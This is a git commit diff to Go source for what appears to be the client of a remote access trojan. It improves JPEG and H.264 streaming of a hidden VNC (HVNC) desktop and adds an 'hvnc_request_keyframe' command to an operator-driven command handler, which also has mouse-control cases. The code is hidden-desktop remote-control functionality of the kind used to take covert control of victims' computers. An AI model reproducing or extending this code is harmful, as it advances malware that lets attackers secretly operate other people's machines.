improve jpeg streaming + optimize the shit out of db read writes for large incoming clients and connected clients.

This commit is contained in:
KingKDot
2026-06-23 23:04:01 -05:00
parent 4fcc01a796
commit 94ef889d27
11 changed files with 569 additions and 150 deletions
@@ -622,6 +622,19 @@ func ResetPrevHVNC() {
resetH264EncoderHVNC()
}
func RequestDesktopFullFrame() {
requestFullFrames(2)
RequestDesktopH264Keyframe()
}
func RequestHVNCFullFrame() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(0)
resetH264EncoderHVNC()
}
func jpegQuality() int {
if q := overrideQuality.Load(); q > 0 {
@@ -1612,12 +1625,15 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
var slotAcquired bool
if !willSendViaWebRTC && !AcquireFrameSlot() {
PutRGBA(img)
return nil
}
slotAcquired = !willSendViaWebRTC
quality := jpegQuality()
frame, encodeDur, err := buildFrameHVNC(img, display, quality)
PutRGBA(img)
img = nil
if err != nil {
if slotAcquired {
ReleaseFrameSlot()
@@ -798,8 +798,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_request_keyframe":
log.Printf("desktop: request h264 keyframe")
capture.RequestDesktopH264Keyframe()
log.Printf("desktop: request full frame")
capture.RequestDesktopFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_set_resolution":
@@ -1158,6 +1158,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.SetQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_request_keyframe":
log.Printf("hvnc: request full frame")
capture.RequestHVNCFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_mouse_move":
if !env.HVNCMouseControl {
sendCommandResultSafe(env, cmdID, true, "")